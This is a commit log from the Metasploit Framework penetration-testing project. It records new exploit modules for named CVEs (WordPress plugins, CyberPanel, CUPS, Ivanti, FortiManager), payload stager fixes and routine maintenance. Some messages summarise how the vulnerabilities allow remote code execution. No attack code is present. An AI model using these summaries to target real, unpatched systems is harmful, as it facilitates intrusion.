dledda-r7 b2ab69ea51 fix: removing reverse_https_proxy payload 2024-12-17 05:03:36 -05:00
Martin Sutovsky 4a13b09767 Land #19719, Fix bug in fetch payload when FETCH_DELETE set to true 2024-12-17 08:42:47 +01:00
jenkins-metasploit 703ed44357 automatic module_metadata_base.json update 2024-12-16 18:46:51 +00:00
adfoster-r7 065cee8698 Merge pull request #19739 from sjanusz-r7/add-ignorelist-to-local-exploit-suggester-datastore-options
Add ignorelist to local exploit suggester datastore options
2024-12-16 18:40:41 +00:00
sjanusz-r7 70d5430ba8 Add ignorelist to local exploit suggester datastore options 2024-12-16 17:51:38 +00:00
h00die-gr3y 09ceb48705 init commit module 2024-12-16 16:22:53 +00:00
jenkins-metasploit 92c97b002a automatic module_metadata_base.json update 2024-12-16 15:34:14 +00:00
jheysel-r7 6f9982db54 Land #19647 Added module for WSO2 API Manager RCE
Adds an exploit module for a vulnerability in the 'Add API Documentation' feature of WSO2 API Manager and allows malicious users with specific permissions to upload arbitrary files to a user-controlled server location. This flaw allows for RCE on the target system.
2024-12-16 07:27:23 -08:00
jenkins-metasploit 88347ad2d4 automatic module_metadata_base.json update 2024-12-16 12:13:37 +00:00
Diego Ledda 7878d9fd3b Land #19735, Update the CachedSize for reverse_http and reverse_http payloads
Land #19735, Update the CachedSize for reverse_http and reverse_http payloads
2024-12-16 13:07:13 +01:00
Christophe De La Fuente b33b01e0d8 Update the CachedSize for reverse_http and reverse_http payloads 2024-12-16 12:48:57 +01:00
adfoster-r7 0068857d78 Merge pull request #19718 from sjanusz-r7/add-rpc-token
Keep track of RPC token per-thread
2024-12-16 11:08:22 +00:00
h00die af462f7dcf arch linux compatibility for runc priv esc 2024-12-16 05:52:29 -05:00
aaryan-11-x d196591845 Modified documentation 2024-12-16 15:47:30 +05:30
aaryan-11-x 06528abe05 Added documentation 2024-12-16 15:33:29 +05:30
aaryan-11-x eb5385a23d msftidy & Rubocop Fixes 2024-12-16 14:45:04 +05:30
Martin Sutovsky ebf73798a8 Landing #19726, fixed incorrect processing of HTTP User Agent parameter in x64 reverse HTTP payload (Windows) 2024-12-16 10:11:32 +01:00
Ashley Donaldson 40f2eaaab1 Recognise broken SMB sessions and close them 2024-12-16 19:52:19 +11:00
aaryan-11-x 08519defc7 RuboCop Fixes 2024-12-16 11:36:23 +05:30
RageLtMan df6bd846e5 Add . prefix tip to shell command help 2024-12-15 18:28:18 -05:00
RageLtMan 54bec338c3 Fix overlap of shell built-in commands with host's
When a shell session is established against a system which offers
limited shells, its very common to run into something like "help"
being a native command in the target. MSF now intercepts those as
built-ins and presents the MSF shell help instead of letting the
user see the relevant output from the target.

Implement a fix by allowing the user to prepend built-ins with '.'
to pass-through execution of the intended command (such as '.help'
being executed as 'help') to the target.

Testing:
  Local testing with racadm SSH shell - works as intended
2024-12-15 18:06:33 -05:00
h00die 77d0292be3 additional review for obsidian plugin 2024-12-14 17:38:29 -05:00
pczinser 8af31e6b01 updated the inline asm to use User Agent 2024-12-14 15:39:16 -05:00
bwatters-r7 0334109994 Streamline command 2024-12-13 16:43:17 -06:00
jenkins-metasploit 50b12596a6 automatic module_metadata_base.json update 2024-12-13 19:54:06 +00:00
msutovsky-r7 ab55286e0b Land #19721, Fix version in CVE-2020-0668 module
Fix version check for cve-2020-0668 Service Tracing
2024-12-13 20:47:17 +01:00
bwatters-r7 594946db47 Add sleep to prevent race condition, remove unneeded spaces 2024-12-13 10:31:10 -06:00
cgranleese-r7 985444e5af Land #19715, Update README.md 2024-12-13 16:21:38 +00:00
cgranleese-r7 051a46a781 Implements feedback 2024-12-13 16:10:01 +00:00
cgranleese-r7 2edbc6a134 Land #19546, Improve database module cache performance 2024-12-13 15:31:08 +00:00
cgranleese-r7 90066b3b45 Land #19660, Make enum options case normalizing 2024-12-13 12:00:43 +00:00
jenkins-metasploit 852bb8bfe2 automatic module_metadata_base.json update 2024-12-13 02:25:39 +00:00
jheysel-r7 afd3d0b66c Land #19713, Add exploit module for WP Time Capsule RCE
This exploits a Remote Code Execution (RCE) vulnerability identified as CVE-2024-8856 in the WordPress WP Time Capsule plugin (versions ≤ 1.22.21). This vulnerability allows unauthenticated attackers to upload and execute arbitrary files due to improper validation within the plugin.
2024-12-12 18:19:09 -08:00
jheysel-r7 add7c7b177 Remove potential NoMethodError in fail_with call 2024-12-12 18:04:10 -08:00
bwatters-r7 48ed31f323 Fix version check 2024-12-12 17:11:53 -06:00
Chocapikk e06dd6deea Update documentation 2024-12-12 22:10:11 +01:00
Valentin Lobstein 9c8db05dc6 Update modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-12-12 22:06:04 +01:00
Diana Payton 25dcd93d0a Update db/README.md
Co-authored-by: Arne De Herdt <arne_deherdt@rapid7.com>
2024-12-12 10:53:57 -08:00
cgranleese-r7 6ed734e52b Land #19720, Update docs dependencies 2024-12-12 17:17:50 +00:00
adfoster-r7 a1ce949b50 Update docs dependencies 2024-12-12 16:19:33 +00:00
bwatters-r7 2faa33ed8e Fix bug in the way we are executing fetch payload when FETCH_DLETE is set to true 2024-12-12 09:08:52 -06:00
sjanusz-r7 686a463a87 Keep track of RPC token per-thread 2024-12-12 12:57:20 +00:00
Metasploit 2355ab546d Bump version of framework to 6.4.41 2024-12-12 03:32:50 -06:00
jenkins-metasploit 5f4fbf1931 automatic module_metadata_base.json update 2024-12-12 01:06:56 +00:00
jheysel-r7 c7f7cfd848 Land #19656 Close ssh session on error 2024-12-11 17:00:17 -08:00
adfoster-r7 31930f47dd Merge pull request #19700 from jheysel-r7/fix_send_request_cgi_bang
Fix query param in reconfig_redirect_opts!
2024-12-11 23:30:51 +00:00
h00die 7cf942ca30 peer review 2024-12-11 17:49:43 -05:00
Spencer McIntyre c3cf56f06f Merge pull request #19710 from szymonj99/set-prompitng-false
Set readline output to non-prompting on method exit
2024-12-11 15:22:42 -05:00
dwelch-r7 a63fa6843e Land #19716 Revert "Use existing input object when calling init_tab_complete" 2024-12-11 16:23:53 +00:00
Simon Janusz 6167596c20 Revert "Use existing input object when calling init_tab_complete" 2024-12-11 16:22:18 +00:00
dwelch-r7 65612d6757 Land #19711, Use existing input object when calling init_tab_complete 2024-12-11 15:48:09 +00:00
Diana Payton dd92e54512 Update README.md
Minor edits to improve the README, added some important information from schema.rb comments.
2024-12-11 07:10:04 -08:00
jenkins-metasploit e7b04abf81 automatic module_metadata_base.json update 2024-12-11 14:00:07 +00:00
adfoster-r7 136599a29a Merge pull request #19714 from bwatters-r7/update/projectsend-cveinfo
Add CVE info to projectsend module
2024-12-11 13:54:06 +00:00
bwatters-r7 5311b7014e Add CVE info to projectsend module 2024-12-11 07:37:43 -06:00
Heyder Andrade 41e7bf8812 Enhance: Rollback to register_file_for_cleanup
- Verified that the CWD is the WSO2_SERVER_HOME, allowing the uploaded payload file to be registered for cleanup using register_file_for_cleanup.
- Improved feedback by including the payload filename in the success message.
- Removed redundant on_new_session cleanup logic, as file management is now handled by FileDropper.
2024-12-11 11:58:53 +01:00
Chocapikk 7b918b24c9 Add platform 2024-12-11 02:17:11 +01:00
Chocapikk 7d559e0b34 Add exploit module for CVE-2024-8856 - WP Time Capsule RCE 2024-12-11 01:14:17 +01:00
jenkins-metasploit 9962429b42 automatic module_metadata_base.json update 2024-12-10 16:33:13 +00:00
Spencer McIntyre f36d786736 Merge pull request #19696 from smashery/add_user_module
Add user module
2024-12-10 11:26:49 -05:00
Spencer McIntyre f05145dd1e Tweak the documentation verbiage slightly 2024-12-10 10:58:17 -05:00
jenkins-metasploit 828725f54c automatic module_metadata_base.json update 2024-12-10 14:51:01 +00:00
Diego Ledda 4c0a403b64 Land #19701, Auxiliary Module for CVE-2021-24762: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)
Land #19701, Auxiliary Module for CVE-2021-24762: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated)
2024-12-10 15:44:50 +01:00
Diego Ledda 095bd946f4 docs: updated docs 2024-12-10 15:35:16 +01:00
Diego Ledda ccf7e6942a chore: fix rubocop 2024-12-10 14:48:18 +01:00
Aaryan Golatkar ef1b38654b Added perfect-survey to data/wordlists/wp-exploitable-plugins.txt 2024-12-10 18:59:20 +05:30
Aaryan Golatkar 299f3027a8 Added SQLi mixin, Implemented check method & removed SHOW_FULL_RESPONSE option 2024-12-10 18:56:54 +05:30
sjanusz-r7 4293aac54e Use existing input object when calling init_tab_complete 2024-12-10 10:56:26 +00:00
Aaryan Golatkar b09d3033f3 Removed store_loot 2024-12-10 10:17:21 +05:30
jenkins-metasploit eb11cb6372 automatic module_metadata_base.json update 2024-12-09 21:09:54 +00:00
jheysel-r7 0b5e221620 Land #19533, Update werkzeug rce module 2024-12-09 12:56:35 -08:00
szymonj99 78781be801 Set readline output to non-prompting on method exit 2024-12-09 18:53:54 +00:00
Aaryan Golatkar db7f05dd76 Made all the changes as requested by the reviewer dledda-r7 2024-12-09 23:44:04 +05:30
Aaryan Golatkar bd1320f722 Merge branch 'rapid7:master' into wp_perfect_survey_sqli 2024-12-09 23:17:20 +05:30
Diego Ledda 3a2b5ce795 Land #19621, Remove a test that should be working now
Land #19621, Remove a test that should be working now
2024-12-09 17:16:53 +01:00
jenkins-metasploit 610c8faaf7 automatic module_metadata_base.json update 2024-12-09 14:54:20 +00:00
Spencer McIntyre d060312167 Merge pull request #19666 from smashery/smb_change_pw
Change/Reset passwords over SMB
2024-12-09 09:48:09 -05:00
Spencer McIntyre 8b93f1a087 Merge branch 'master' into smb_change_pw 2024-12-09 09:37:45 -05:00
Ashley Donaldson 63bf59b516 Updated ruby_smb with SMB Change Password structures/functionality 2024-12-09 11:09:30 +11:00
Ashley Donaldson 6eea156899 Added moved_from metadata 2024-12-09 08:49:04 +11:00
Graeme Robinson 4ce4cf472e Update werkzeug_debug_rce.md
Added note about python3 version in verification steps because the version may change when a newer docker image becomes available.

Added report.txt as a file because I apparently forgot it before and the containers fail to build without it.
2024-12-08 21:11:03 +00:00
Graeme Robinson 7838a943ce Update werkzeug_debug_rce.rb
Added comments about where version-dependant salts come from
2024-12-08 21:01:17 +00:00
Heyder Andrade f3f1c893a1 Added cleanup method 2024-12-08 02:12:16 +01:00
Heyder Andrade c953601335 Fix: it needs at least 2 follows redirect 2024-12-08 00:13:12 +01:00
Heyder Andrade edb9fdc682 Merge 2024-12-08 00:10:35 +01:00
jenkins-metasploit b31d3e3627 automatic module_metadata_base.json update 2024-12-07 14:30:59 +00:00
adfoster-r7 2421ca768f Merge pull request #19705 from ostrichgolf/projectsend_rce
Add CVE to ProjectSend module
2024-12-07 14:24:20 +00:00
ostrichgolf 2952dbb0b8 Add CVE to module 2024-12-07 14:23:30 +01:00
jenkins-metasploit 3c9d698103 automatic module_metadata_base.json update 2024-12-07 03:07:19 +00:00
adfoster-r7 861859196a Merge pull request #19703 from zeroSteiner/fix/mod/dns_txt_exec-docs
Clarify documentation in dns_txt_query_exec
2024-12-07 03:00:30 +00:00
jenkins-metasploit 2bd4f11ec5 automatic module_metadata_base.json update 2024-12-07 00:35:11 +00:00
jheysel-r7 0e5cf3f7ba Land #19649, Primefaces RCE (CVE-2017-1000486) 2024-12-06 16:22:06 -08:00
jheysel-r7 6cfc18a1e7 Land #19661, WordPress Really Simple Security Plugin RCE (CVE-2024-10924) 2024-12-06 16:19:56 -08:00
jheysel-r7 2357c8ad55 Standardize capitalization of Java Expression Language 2024-12-06 16:00:58 -08:00
jenkins-metasploit 0d92346917 automatic module_metadata_base.json update 2024-12-06 22:21:41 +00:00
Spencer McIntyre 909476ee64 Merge pull request #19671 from smashery/ldap_change_pw
LDAP Change Password module
2024-12-06 17:13:50 -05:00
Chocapikk 8f274f0189 Remove complexity 2024-12-06 22:48:59 +01:00
Spencer McIntyre a708f8c7f3 Fix a trivial typo 2024-12-06 16:47:25 -05:00
h00die 6911e52d55 peer review 2024-12-06 15:39:19 -05:00
h00die e33200100d peer review 2024-12-06 15:34:40 -05:00
Spencer McIntyre 1d3d3419f6 Clarify documentation in dns_txt_query_exec 2024-12-06 14:26:44 -05:00
jenkins-metasploit b4762b722c automatic module_metadata_base.json update 2024-12-06 17:49:42 +00:00
Spencer McIntyre 7006c8fcfc Merge pull request #19609 from dledda-r7/remove-hardcoded-blockapi-hash
Remove hardcoded blockapi hashes
2024-12-06 12:43:03 -05:00
Spencer McIntyre 83fcc32780 Update metasploit-payloads gem to 2.0.189
Includes changes from:
* rapid7/metasploit-payloads#731
* rapid7/metasploit-payloads#730
2024-12-06 12:31:11 -05:00
Spencer McIntyre 7994c16141 Revert "Update the acceptance testing definition for now"
This reverts commit 1ef34d7d8f12d5588914258f6e4e35ed923afcad.
2024-12-06 12:31:11 -05:00
Spencer McIntyre 7e2df70b14 Update the acceptance testing definition for now 2024-12-06 12:31:11 -05:00
Spencer McIntyre 19302e1c5d Remove a test that should be working now 2024-12-06 12:31:11 -05:00
Jack Heysel f720b519c9 Lint 2024-12-06 06:22:03 -08:00
Jack Heysel 7c9bddc6e6 Added use of send_request_cgi! 2024-12-06 06:20:46 -08:00
dledda-r7 6d6608c06c fix: updated cachedsize reverse_https_proxy 2024-12-06 09:15:36 -05:00
jenkins-metasploit 36505c7cf0 automatic module_metadata_base.json update 2024-12-06 11:21:41 +00:00
Diego Ledda be30a06af4 Land #19430, Moodle RCE (CVE-2024-43425) Module
Land #19430, Moodle RCE (CVE-2024-43425) Module
2024-12-06 12:15:35 +01:00
aaryan-11-x 500df59156 Changed plaintext to sh for better looking output 2024-12-06 12:44:50 +05:30
aaryan-11-x 547bc96603 Modified the output in the document 2024-12-06 12:43:20 +05:30
aaryan-11-x f426dc6c20 msftidy_docs Fixes 2024-12-06 12:02:18 +05:30
aaryan-11-x 897dfcd328 Added documentation of the auxiliary module 2024-12-06 11:57:04 +05:30
aaryan-11-x a4af59a595 Changed filename from wp_plugin_perfect_survey_sqli.rb to wp_perfect_survey_sqli.rb 2024-12-06 11:45:36 +05:30
aaryan-11-x 3881fd6c3c RuboCop Fixes 2024-12-06 11:41:25 +05:30
aaryan-11-x 8d81ad125d Added Notes section in the code & corrected the disclosure date 2024-12-06 11:40:42 +05:30
Ashley Donaldson 75a334ca0a Changes from code review 2024-12-06 16:05:53 +11:00
Ashley Donaldson 5032695d1f MSFTidy fixes 2024-12-06 14:36:05 +11:00
Ashley Donaldson 7c46d4d02d Updated text to be clearer about the AES kerberos behaviour 2024-12-06 14:28:44 +11:00
Ashley Donaldson 88bd8f6f9e Support SMBPass as NTLM format 2024-12-06 14:21:56 +11:00
Jack Heysel c7b96f89b0 Unset opts query if no location.query 2024-12-05 18:24:12 -08:00
Jack Heysel a544805659 Fix query in reconfig_redirect_opts! 2024-12-05 18:18:06 -08:00
h00die 6723c585f2 obsidian plugin module 2024-12-05 17:54:07 -05:00
Ashley Donaldson d5b2d760e8 Updated ancillary documentation 2024-12-06 07:53:19 +11:00
jenkins-metasploit 22ade4f08f automatic module_metadata_base.json update 2024-12-05 17:41:42 +00:00
jheysel-r7 8ac7348be0 Land #19608 CyberPanel Pre-Auth RCE
Adds a CyberPanel Pre-Auth RCE Exploit Module for (CVE-2024-51378 / CVE-2024-51567 / CVE-2024-51568)
2024-12-05 09:35:35 -08:00
Chocapikk 9de6a898cd Re-add wordpress detection check 2024-12-05 16:19:15 +01:00
Chocapikk 022533db59 Fix check and use rest_route 2024-12-05 16:19:15 +01:00
Chocapikk 86bc3ceb5e Handle case when 2FA is disabled 2024-12-05 16:19:15 +01:00
Chocapikk 5290750cca Update doc 2024-12-05 16:19:14 +01:00
Chocapikk a123234141 Add CVE-2024-10924 2024-12-05 16:19:09 +01:00
Chocapikk b8ec13e9dc Lint 2024-12-05 16:05:25 +01:00
Heyder Andrade d5f0c6108c Fix: Ensure api_list returns a list even when created during execution 2024-12-05 14:34:20 +01:00
Metasploit 52ebbc19ca Bump version of framework to 6.4.40 2024-12-05 03:32:37 -06:00
Valentin Lobstein ca45c6439f Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-12-05 08:20:59 +01:00
jenkins-metasploit d439a9ef1a automatic module_metadata_base.json update 2024-12-05 02:32:04 +00:00
jheysel-r7 e8911f9129 Land #19402 vCenter Sudo LPE (CVE-2024-37081) 2024-12-04 18:25:05 -08:00
h00die bca3626cf2 peer review 2024-12-04 18:39:43 -05:00
Chocapikk 0fecf5be65 Add Referer header 2024-12-04 20:55:51 +01:00
Spencer McIntyre 2e8d52fd16 Merge pull request #19690 from msutovsky-r7/update_mailmap
Added msutovsky-r7 to mail map
2024-12-04 14:43:59 -05:00
Heyder Andrade 964261283b Fix: Handle full-location redirects in send_request_cgi
- Resolved an issue where redirects with full-location URLs were not properly handled by `send_request_cgi`.
- Implemented a quick solution for now; open to suggestions for a more robust approach.
- Tested behavior without proxy interference, as Burp previously masked the issue.
2024-12-04 20:05:07 +01:00
msutovsky-r7 3ba000cbd7 Added msutovsky-r7 to mail map 2024-12-04 17:54:01 +01:00
jenkins-metasploit 7265f093b8 automatic module_metadata_base.json update 2024-12-04 16:32:08 +00:00
jheysel-r7 21cf475cbb Land #19595 Ivanti Connect Secure auth RCE via OpenSSL (CVE-2024-37404) 2024-12-04 08:26:07 -08:00
jenkins-metasploit 2f5980ba42 automatic module_metadata_base.json update 2024-12-04 15:56:05 +00:00
Jack Heysel b7f9ae7ec5 Updated module validation spec 2024-12-04 07:55:16 -08:00
Diego Ledda ab2ca41eb8 Land #19629, Chamilo v1.11.24 Unrestricted File Upload (CVE-2023-4220)
Land #19629, Chamilo v1.11.24 Unrestricted File Upload (CVE-2023-4220)
2024-12-04 16:49:56 +01:00
jenkins-metasploit a814d77199 automatic module_metadata_base.json update 2024-12-04 15:45:43 +00:00
Heyder Andrade fabced539d Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-12-04 16:44:48 +01:00
Diego Ledda 58702f238c Land #19574, Windows Access Mode Mismatch LPE in ks.sys (CVE-2024-35230)
Land #19574, Windows Access Mode Mismatch LPE in ks.sys (CVE-2024-35230)
2024-12-04 16:39:43 +01:00
jheysel-r7 fa3716408f Add comment explaining payload architecture restraints 2024-12-03 18:33:43 -08:00
adfoster-r7 17fdd35608 Merge pull request #19684 from sjanusz-r7/teamcity-improvements
TeamCity improvements
2024-12-03 12:25:52 +00:00
jenkins-metasploit e5cfc08eac automatic module_metadata_base.json update 2024-12-03 02:39:10 +00:00
jheysel-r7 2d1af7d809 Land #19648 Add exploit module for FortiManager (CVE-2024-47575) 2024-12-02 18:31:25 -08:00
jheysel-r7 5a837d1ef6 fix a typo 2024-12-02 18:16:43 -08:00
sjanusz-r7 76c93f4d33 Log search for TeamCity in body instead of headers 2024-12-02 22:04:56 +00:00
jenkins-metasploit 1f32f91510 automatic module_metadata_base.json update 2024-12-02 18:44:47 +00:00
Spencer McIntyre d22c6996be Merge pull request #18877 from h00die/xspy
New module to replicate xspy tool (and X11 library)
2024-12-02 13:38:37 -05:00
jenkins-metasploit 891b89d697 automatic module_metadata_base.json update 2024-12-02 16:27:49 +00:00
jheysel-r7 a230a353e4 Land #19613 Asterisk authenticated rce via AMI (CVE-2024-42365) 2024-12-02 08:21:35 -08:00
Christophe De La Fuente a46b2f437f Use TARGET_URI when checking the redirection URI 2024-12-02 16:45:12 +01:00
Christophe De La Fuente 3dcb9d58ab Code review 2024-12-02 14:02:07 +01:00
Christophe De La Fuente c943cc6378 Add module and documentation 2024-12-02 14:02:07 +01:00
Ashley Donaldson b5fbc9a8ae MSFTidy fixes 2024-12-02 12:35:00 +11:00
Chocapikk eaf277e418 Lint 2024-11-30 14:24:33 +01:00
Valentin Lobstein a7e17d09c9 Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-11-30 13:55:16 +01:00
Valentin Lobstein 6adf17f5f7 Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-11-30 13:55:09 +01:00
Valentin Lobstein 5cdf7ae175 Update documentation/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-11-30 13:55:02 +01:00
jheysel-r7 1c326d6594 Land #19622, update windows install docs
Update Windows Installation instruction in Setting-Up-a-Metasploit-Development-Environment.md
2024-11-29 12:52:00 -08:00
jenkins-metasploit 5999a2622b automatic module_metadata_base.json update 2024-11-29 17:14:25 +00:00
jheysel-r7 c4b7954f15 Land #19596, Wordpress Plugin Post SMTP Account Takeover 2024-11-29 09:05:03 -08:00
sjanusz-r7 e827cccd48 Improve TeamCity Login Scanner 2024-11-29 16:52:00 +00:00
dledda-r7 3167a6c73c fix(payloads): re-wrote reverse_https_proxy stager 2024-11-29 07:57:51 -05:00
dledda-r7 4468d3bc79 fix(payloads): removing hardcoded block-api hash from reverse_tcp_dns 2024-11-29 07:55:49 -05:00
h00die d13bccca05 peer review 2024-11-28 20:24:25 -05:00
h00die 1906646e67 peer review 2024-11-28 13:18:47 -05:00
jenkins-metasploit f2e5dd61fa automatic module_metadata_base.json update 2024-11-28 17:27:49 +00:00
jheysel-r7 caa483a24a Land #19583 Acronis Cyber Backup/Protect RCE [CVE-2022-3405] 2024-11-28 09:18:19 -08:00
jheysel-r7 65acafacfd Apply suggestions from code review 2024-11-28 08:57:21 -08:00
dledda-r7 4d19535ca0 fix(payloads): removing hardcoded block-api asm and hashes from x86 messagebox module 2024-11-28 06:41:32 -05:00
Metasploit 6ca45601fb Bump version of framework to 6.4.39 2024-11-28 03:32:30 -06:00
h00die-gr3y 2115c81654 update using acronis_cyber mixin 2024-11-27 22:21:27 +00:00
h00die-gr3y a945a54fc3 Merge remote-tracking branch 'origin/master' into acronis-rce 2024-11-27 21:50:53 +00:00
h00die e0a39b5d6b Merge pull request #26 from smcintyre-r7/pr/collab/18877
Refactor some X11 code around
2024-11-27 16:33:04 -05:00
h00die-gr3y 3a2aa0f31c module prep to use acronis_cyber mixin 2024-11-27 21:31:40 +00:00
h00die e41f5ad577 needrestart exploit updates 2024-11-27 15:41:23 -05:00
Spencer McIntyre cd4899da00 Refactor some X11 code around
Consistently refer to replys as responses
2024-11-27 15:19:26 -05:00
jenkins-metasploit 07ce1aae77 automatic module_metadata_base.json update 2024-11-27 15:56:37 +00:00
jheysel-r7 7de3d117b8 Land #19582 Acronis Cyber Backup/Protect Info Disclosure 2024-11-27 07:50:16 -08:00
dledda-r7 acb022c18f fix(payloads): update cachedsize for x64 messagebox module 2024-11-27 08:15:57 -05:00
dledda-r7 46292b8b9a fix(payloads): removing hardcoded block-api asm and hashes from x64 messagebox module 2024-11-27 08:08:31 -05:00
h00die d778f5469b needrestart improvements 2024-11-26 18:22:48 -05:00
dledda-r7 eb58072034 fix(payloads): update cachedsize 2024-11-26 12:07:32 -05:00
dledda-r7 9bfb67444d fix(payloads): fixing typo on block-api hashing function 2024-11-26 12:07:31 -05:00
dledda-r7 00707a8a11 fix(payloads): removing hardcoded block-api asm and hashes from PrependMigrate mixin 2024-11-26 12:07:31 -05:00
dledda-r7 55515441d2 fix(payloads): update cachedsize reverse_hop_http 2024-11-26 12:07:30 -05:00
dledda-r7 37bb14ba9c fix(payloads): removing hardcoded block-api hashes 2024-11-26 12:07:30 -05:00
dledda-r7 e7c23e4a65 fix(payloads): removing hardcoded block-api hashes 2024-11-26 12:07:30 -05:00
dledda-r7 3fe1ffb6f3 fix(payloads): removing hardcoded block-api hashes 2024-11-26 12:07:29 -05:00
h00die-gr3y 18c4e9c2f6 moved get_machine_info to the acronis_cyber mixin 2024-11-26 16:10:14 +00:00
h00die-gr3y b6595eeaf0 added acronis cyber mixin 2024-11-26 15:49:57 +00:00
jenkins-metasploit de5e94d81f automatic module_metadata_base.json update 2024-11-26 14:11:40 +00:00
Spencer McIntyre 6c76dcb20c Merge pull request #19651 from smashery/smb_version_update
Give likely Windows versions for SMB v2-3
2024-11-26 09:05:10 -05:00
Heyder Andrade c1c74a0959 Do not fail on document creation
Since we attempt to create the document in multiple APIs, we want to avoid exiting on a failed creation attempt. This will allow us to retry the document creation on the next available API.
2024-11-26 11:56:50 +01:00
h00die 19394960cd needrestart improvements 2024-11-25 16:40:00 -05:00
h00die d4bd00d48e needrestart improvements 2024-11-25 16:38:18 -05:00
sjanusz-r7 566e12b69e Add error_callback to SSH Command Stream 2024-11-25 16:43:59 +00:00
Spencer McIntyre 530dbd6da1 Merge pull request #19678 from smashery/pre2k-ldap-query
Added LDAP query searching for likely Pre-Windows-2000 computers
2024-11-25 10:18:49 -05:00
Ashley Donaldson 7f6bdb385d Added LDAP query searching for likely Pre-Windows-2000 computers 2024-11-25 12:30:27 +11:00
h00die 492ccca1aa review 2024-11-23 12:43:35 -05:00
Heyder Andrade dc445ed1ac Apply suggestions from code review 2024-11-23 00:57:08 +01:00
h00die 7fd82b89df offload files to data 2024-11-22 15:57:18 -05:00
h00die 7025871d34 ubuntu needrestart lpe 2024-11-22 15:44:52 -05:00
h00die 94e5e49052 ubuntu needrestart lpe 2024-11-22 15:44:45 -05:00
Heyder Andrade e772c7adaa Apply suggestions from code review
Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com>
2024-11-22 16:56:50 +01:00
jenkins-metasploit d5b71aa581 automatic module_metadata_base.json update 2024-11-22 14:28:34 +00:00
Spencer McIntyre 502e415344 Merge pull request #19630 from remmons-r7/cups_ipp_rce
Exploit module for IPP attributes remote code execution - OpenPrinting CUPS
2024-11-22 09:22:21 -05:00
sfewer-r7 68e9b39ffa register teh Rex socket we create via add_socket. This lets teh frameowkr close the socket after we get a session, and will wait up to WfsDelay for that to happen. This lets us remove the other timeout we had, and teh user can always adjust WfsDelay if needed. (Thanks Spencer) 2024-11-22 12:42:08 +00:00
sfewer-r7 e5cdf6097d favor File.binread over File.read 2024-11-22 12:40:19 +00:00
sfewer-r7 f59bfe98a3 remove the default payload and the default fetch command, and let the framework choose them for us. 2024-11-22 12:39:34 +00:00
sfewer-r7 2ba112a5a4 We can use OptPath here instead of OptString. Also are these are optional, and we dont specify a default, we can omit the nil default value. 2024-11-22 12:38:46 +00:00
sfewer-r7 000ffb2406 make the check routine return a message for Detected. 2024-11-22 12:37:50 +00:00
sfewer-r7 de599a4407 rework how we calculate the chunk size, we now consume the maximum available space a chunk can take, relative to the size of teh command needed to write the chunk to disk. We also rework the logic to ensure the files are sequential. Finally as the size of a chunk may be less the more chunks we write, we impose a max Payload Space valuecalculated to be 5670 chars. 2024-11-22 10:28:27 +00:00
sfewer-r7 eda46f1a10 the check routing shoudl return Safe the first time we try to leverage teh vulnerability, if that doesnt work. But still return Unknown if the vulnerability fails the second time we leverage it. 2024-11-22 10:26:06 +00:00
dwelch-r7 d3b7683532 Land #19672, Added mwalas-r7 to the mail map 2024-11-22 10:06:39 +00:00
Marcin Walas 4d25cd90c6 Added mwalas-r7 to the mail map 2024-11-22 10:25:53 +01:00
Ashley Donaldson ae61d0a9d6 MSFTidy changes 2024-11-22 13:39:07 +11:00
Ashley Donaldson cd780e4339 Added documentation 2024-11-22 13:12:38 +11:00
Ashley Donaldson 6f4ab97c83 Commenting changes 2024-11-22 13:06:58 +11:00
Valentin Lobstein 2af0f506c2 Update modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb 2024-11-22 02:01:12 +01:00
Chocapikk c5ce193fd5 Remove dup line 2024-11-21 23:10:18 +01:00
Chocapikk 9c74467950 Refactor code + add check and autocheck 2024-11-21 22:48:36 +01:00
remmons-r7 74cfde39f0 Merge pull request #2 from smcintyre-r7/pr/collab/19630
Cups Exploit Updates
2024-11-21 14:28:40 -06:00
Spencer McIntyre 0ec9b1bcb9 Fix a multicast socket issue 2024-11-21 15:14:46 -05:00
Spencer McIntyre 24d3ef16cf Remove some unnecessary code, switch to passive stance 2024-11-21 15:08:43 -05:00
jenkins-metasploit d75ed350db automatic module_metadata_base.json update 2024-11-21 17:59:45 +00:00
jheysel-r7 d95d549992 Land #19531 ProjectSend r1335 - r1605 RCE module 2024-11-21 09:53:36 -08:00
sfewer-r7 41bcf4629f The payload we essentially being encoded twice (thanks for calling this out Brendan), we now supply a suitable BadChars and let the framewrk encode the framework paylaod. We rename the variable payload to bootstrap_payload as this was colliding with the frameworks payload variable which was not the intent. 2024-11-21 17:37:34 +00:00
ostrichgolf 68eb6599fd Create projectsend_unauth_rce 2024-11-21 09:34:58 -08:00
sfewer-r7 d2f6e0e10f As the payload option FETCH_WRITABLE_DIR may not be available if a non fetch based payload is used, we add a new option WRITABLE_DIR to account for this. Update the documentation to reflect the change. 2024-11-21 16:38:09 +00:00
sfewer-r7 f9b099a46d remove the DefaultOption PAYLOAD value, and let the framework pick one for us. Mention I tested the exploit with cmd/linux/http/x64/meterpreter_reverse_tcp 2024-11-21 16:22:02 +00:00
sfewer-r7 d40bbd047e remove the DefaultOption FETCH_COMMAND value of WGET, as the default the framework will pick, CURL, will work great. 2024-11-21 16:21:00 +00:00
Stephen Fewer b8f36628da remove an unnecessary space in the command to write a chunk to disk.
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-11-21 16:08:33 +00:00
Stephen Fewer 077f8700b9 remove an unnecessary space in this command.
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-11-21 16:08:09 +00:00
jenkins-metasploit b79c0037f6 automatic module_metadata_base.json update 2024-11-21 12:42:37 +00:00
